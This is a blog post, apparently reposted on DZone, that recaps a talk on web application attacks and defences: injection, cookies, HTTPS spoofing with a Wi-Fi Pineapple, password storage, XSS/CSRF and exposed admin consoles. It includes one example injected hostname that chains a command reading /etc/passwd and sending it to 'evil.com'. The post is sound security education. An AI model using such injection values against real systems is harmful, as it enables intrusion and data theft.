Over a million developers have joined DZone.
{{announcement.body}}
{{announcement.title}}

“Attacking Web Applications” at O’Reilly Fluent

DZone's Guide to

“Attacking Web Applications” at O’Reilly Fluent

· ·
Free Resource

I’ve just finished my presentation “Attacking Web Applications” at O’Reilly Fluent, a web developers’ conference in San Francisco. I’ve really enjoyed the conference atmosphere and had some great conversations. If you were at my talk, thanks a lot for coming! (I’d also really appreciate it if you rate the session and provide any feedback in the comments.)

Here are the slides:

The basic premise of this talk is that web developers need to be aware of the way attackers think and operate. It isn’t enough to be familiar with common attacks on the theoretical level. Nothing is more satisfying and more educational than actually carrying out an attack (with permission of course!) and then learning how to defend against it. Specifically, we reviewed the following vulnerabilities and discussed how to exploit them and how to defend against them.

1. SQL injection and OS command injection

These vulnerability categories are extremely commonplace on the web today. While SQL injection is well-known, OS command injection is a bit more obscure and involves manipulating parameters passed to shell commands or system APIs that can eventually execute arbitrary code. For example, if you issue asystem(“ping ” + $request["hostname"]) on your server, you might be opening yourself up for “special” hostnames like “127.0.0.1; cat /etc/passwd > nc evil.com”.

2. Cookie and session security

Cookies often contain sensitive information, specifically session ids. We discussed how to store and generate session ids securely, and how to manipulate cookies that contain too much information in addition to the session id. Specifically, we worked with Google Gruyere (a vulnerable web app for demonstration purposes) which has permission level information stored and transmitted in the cookie!

3. Transport security and HTTPS

Anything remotely sensitive or important that is transmitted in the clear is extremely dangerous to your users and to you. HTTP or partial HTTPS is visible to anyone, especially if you’re connected to an unsecured Wi-Fi network. We saw how to manipulate HTTP responses using Fiddler, and I showed a demo of using Wi-Fi Pineapple, a tiny pentesting device, that can spoof DNS responses, manipulate HTTP traffic, and even reply to 802.11 probes pretending to be a Wi-Fi network that it isn’t. Everything transmitted in the clear over these fake networks is freely accessible to the attacker.

I promised to post online some of the “interesting” Wi-Fi networks that the Pineapple was able to fake. Here are a few:

Marriott-Guest
ALBERTA STREET PUB
gogoinflight
AmtrakConnect
AndroidAP
attwifi
HHONORS
McDonalds FREE
Apple Store
Apple Demo
Hi Desert RV Park Public WiFi
Router, I Hardly Know Her
Area51
AIRPORT-FREE-WIFI
Dominos_Corp

4. Storing passwords

We talked about best practices for storing passwords, which are basically: don’t store them if you don’t have to. Obviously plain text and encrypted passwords are bad, but hashing isn’t enough when you’re using a very fast hash function (like MD5) or not adding a salt. We looked at the LinkedIn 2012 leak and found some pretty complex passwords in it, as well as some horrible passwords like “password”, “123456″, and “linkedin”. This is a good opportunity to mention Troy Hunt’s excellent haveibeenpwned.com service that can help you see if your email address has been in any of the data leaks from the last few years.

5. XSS and CSRF

These are two classic attacks but are still prevalent on the web today. XSS is all about injecting JavaScript code into pages that are later displayed to other users. Again, we used the Google Gruyere vulnerable app to plant JavaScript code in links and profile photo URLs. CSRF exploits the fact a user is authenticated against website A to plant a link on service B that causes A to do something bad, like transferring money or deleting an account. Again, we used Gruyere to embed a link that deletes the user’s messages when engaged.

6. Admin consoles

Admin consoles are great debugging tools for devops, but they mustn’t be exposed to the public Internet. I used Google to search for open ELMAH pages that provide detailed exception information including a stack trace and … ASP.NET session cookies! Cookies that can be stolen, you know.

I am posting short links and updates on Twitter as well as on this blog. You can follow me: @goldshtn

Topics:

Published at DZone with permission of

Opinions expressed by DZone contributors are their own.

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}